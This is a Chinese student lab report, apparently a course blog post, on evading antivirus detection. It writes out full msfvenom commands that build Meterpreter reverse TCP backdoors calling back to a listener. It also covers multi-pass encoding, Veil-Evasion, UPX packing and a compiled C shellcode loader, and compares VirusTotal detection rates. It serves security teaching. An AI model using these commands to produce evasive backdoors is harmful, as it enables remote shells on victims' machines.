20232412 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

实践目标

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    学会使用veil,加壳工具

    使用 C + shellcode编程

  • 通过组合应用各种技术实现恶意代码免杀

    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

通过本次实验,我们将初步认识恶意代码免杀技术,理解现代杀毒软件的检测机制与规避方法,学习正确使用MSF编码器、Veil-Evasion等工具,并结合C语言与Shellcode编程开发自定义免杀程序,组合多层技术实现静态特征混淆,最终用virustotal 对免杀效果进行评价。

问题回答

  • 1.杀软是如何检测出恶意代码的?

杀软通过多层次的检测技术识别恶意代码,主要包括这几种核心方法:

(1)基于特征码的检测:比对文件哈希值或代码片段与病毒库中的已知恶意软件特征

(2)启发式恶意软件检测:实时监控系统行为,检测可疑代码模式,推断程序是否有恶意

(3)基于行为的恶意软件检测:触发敏感行为(如修改系统注册表、启动持久化、连接C&C服务器)时告警

(4)沙箱虚拟环境:在隔离环境中运行程序,检测是否有异常行为

(5)云查杀:上传文件哈希或部分特征到云端数据库比对最新威胁情报

  • 2.免杀是做什么?

免杀是通过修改恶意代码的特征和行为,使其能够逃避杀毒软件的检测,从而在目标系统中隐蔽执行的技术手段。其核心是通过代码混淆、加密、加壳或利用合法程序加载恶意载荷等方式,绕过静态特征扫描和动态行为分析,实现恶意代码的隐蔽运行。

  • 3.免杀的基本方法有哪些?

(1)代码混淆与加密:对恶意代码进行异或、AES等加密,运行时解密执行,使用模糊变换打乱代码逻辑结构

(2)修改特征码与校验和:通过分块测试定位杀软识别的特征码,针对性修改或填充无用指令

(3)花指令:插入无意义的垃圾指令,干扰和欺骗反汇编器、调试器的分析过程,从而保护关键代码逻辑

(4)加壳免杀:将原始的可执行文件进行压缩、加密或变形,然后给它套上一个外层的壳程序,对抗静态特征扫描。运行后壳程序负责将原始程序解密、解压、还原,然后将控制权交还给原始程序

2.实验过程

2.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

在开始实验前,我们需要确立免杀效果参考基准,与之后使用msf编码器,veil,加壳工具,C + shellcode编程等方式生成的文件的免杀效果作比较。这里我们使用之前实验二生成的后门软件的检出率作为参考基准,这是一个Windows 平台的Meterpreter 反向 TCP 后门程序,是 msfvenom 直接生成 meterpreter 可执行文件。

virustotal对其免杀效果进行评价。VirusTotal 是一个在线病毒扫描平台,用户通过上传可疑文件或提供文件哈希值、URL、IP地址,然后它会用70多家杀毒引擎同时进行扫描,并汇总所有扫描结果告诉你这个文件被多少家厂商报毒。这里显示的检出率为48/71。

b4ad0faac6e2869659d531a14ef9883c

接下来,我们输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.109.132 LPORT=2412 -f exe > sgn_backdoor.exe,生成一个经过编码的Windows反向TCP后门可执行文件。

该指令与实验二文件的生成指令相比,多了-e x86/shikata_ga_nai -b '\x00',使用了Shikata Ga Nai多态编码器,对原始shellcode进行加密和变形,通过改变静态特征,避免特征码检测。(-b '\x00'是剔除所有的空字节(0x00),防止在字符串处理、内存拷贝时被截断)

我们将生成的文件上传到 virustotal 进行扫描,显示的检出率为42/71,与刚才相比有一定下降但依旧很高。

6e7b743e4413fa3758041a16ee9c3788

我们尝试改变文件格式,输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 -f jar >jar_backdoor.jar,生成一个Java格式的Meterpreter反向TCP后门程序,检测其免杀效果。这里显示的检出率为35/64,检出率继续下降。这是因为终端防护软件可能对非本平台的可执行文件(如在 Windows 上对 .jar 文件)检查不那么严格,所以相比于exe文件,jar免杀潜力更高

3fc3f121ade93a1f3558a160b348d127

我们尝试php文件,输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 x >php_backdoor.php,生成一个PHP格式的Meterpreter反向TCP后门脚本,检测其免杀效果。显示的检出率为25/62,检出率继续下降。因为php是文本形态,使得静态特征提取和匹配比二进制文件困难,免杀潜力更强。

2aec8deb3d668101d6bf718a9aafade0

2.2使用veil免杀工具、加壳工具

输入sudo apt -y install veil安装veil工具,输入指令usr/share/veil/config/setup.sh --force --silent以静默模式安装和配置 Veil-Evasion 框架。

安装成功后输入veil会显示以下界面。

c0ba95669c20ad1771ea55170398795f

我们输入use 1进入进入Evasion功能,再输入list查看可用的载荷种类。

c9797e73a844e66b903dac263762d286

输入use 7,选择C/Meterpreter/reverse_tcp 负载,能创建一个C语言编写的 Meterpreter 反向TCP连接器(生成C语言源代码,编译成Windows可执行文件,用于建立反向Meterpreter会话)。

14335fedce569c841dd41a46736b7c89

配置好相关参数(IP、端口),生成文件,其保存在/var/lib/veil/output/compiled/目录中。

7e3832fba9b9e1682415192ef5c92e3e

将该文件复制到主机中进行免杀效果检测,检出率为39/72。相比msfvenom 直接生成 meterpreter 可执行文件,veil生成的文件检出率更低,其原因在于它采用了一套更深层次、多阶段的免杀策略,对整个加载器进行重构和混淆,通过源码级别的多样性和深度的技术集成,实现了比 msfvenom 编码更有效的规避能力。

6ef77911a542cf14be39449c6a8efafc

输入指令upx 20232412lpz_backdoo.exe -o upx_backdoor.exe,使用 UPX 对可执行文件进行加壳压缩,彻底改变了文件的二进制内容,破坏静态特征码,生成一个新的免杀版本。

85ee1fa150cbcf4a88f2b9bdcb828fe6

将该文件进行免杀效果检测,检出率为36/72,进一步降低。

8a989b2d8049119c3025db961dc74ee6

2.3使用C + shellcode编程

使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 -f c,生成一个C 语言格式的Windows Meterpreter 反向TCP Shellcode。

f539e8577f8a86c3861acc3c1928556f

生成的C语言代码不能直接运行,需要被一个加载器来执行,我们利用vim,粘贴生成的代码并增添一个main函数,作为Shellcode 加载器。

31c976028485a6dc0d134ab7a0ca08c5

使用指令x86_64-w64-mingw32-gcc -o 20232412lpz_c_shellcode.exe 20232412lpz_c_backdoor.c,将C源代码编译成Windows可执行文件。

ae9617bfd1e5946c0be0dd6a1de98775

将该文件进行免杀效果检测,检出率为27/72,相比之前有较好的免杀效果。

221a8a5b826030915cf8bb74a997c20d

2.4通过组合应用各种技术实现恶意代码免杀

考虑到使用C + shellcode编程的免杀效果好,故在此基础上添加-e x86/shikata_ga_nai -b '\x00',使用了Shikata Ga Nai多态编码器,并添加-i 10生成一份编码10次的经过高度编码的C 语言格式的Windows Meterpreter 反向TCP Shellcode。

917d49b59e7072f61278a4d86a3d0c03

利用vim,粘贴生成的代码并增添一个main函数,作为Shellcode 加载器。将其编译成可执行文件,进行免杀效果检测,检出率为24/72。

6d590d4d830554374a0e700ee70c8d5b

但是该文件还是被腾讯电脑管家查杀,无法实现与杀软共生。与同学交流后,了解到C语言生成的文件很难做到与杀毒软件共生,大量的攻击已生成庞大的特征库。

eed69e0316efd241f48cc7ca3d3bda63

2.5尝试在杀软开启的情况下,运行文件并回连成功

在kali中输入msfconsole打开msf的控制台,输入参数并开启监听,运行程序后,程序被放到隔离区,发现无法回连成功。(腾讯电脑管家17.10.28554.205+Win 11)

692089845c36255e27a6129885450ec6

3.问题及解决方案

  • 问题1:veil无法正常安装

  • 问题1解决方案:发现是校园网连接GIthub有时会出现连接错误,无法正常克隆VeilDependencies 仓库,更换成手机热点后就能成功。

  • 问题2:无法实现免杀

  • 问题2解决方案:参考不同同学的实验报告,发现按照他们的方法也会被杀毒软件发现木马,说明这与软件和电脑版本有关,需要组合应用各种技术,继续探索更好的免杀方法。

4.学习感悟、思考等

在本次实验中,我使用了多种免杀工具,对免杀原理有了更深刻的理解,通过检出率对比不同技术的优劣。我也意识到组合应用各种技术的优势所在,单一技术容易被现代杀软检测,但组合应用能有效提高免杀成功率。最后我没有成功实现恶意代码与杀软共生,但这也说明人们为保护网络安全作出的努力,我将继续认真学习网络攻防的知识,探索网络攻防的乐趣。

参考资料

免杀原理与实践
20232409免杀原理与实践实验报告

posted @ 2025-10-27 22:54  20232412李  阅读(8)  评论(0)    收藏  举报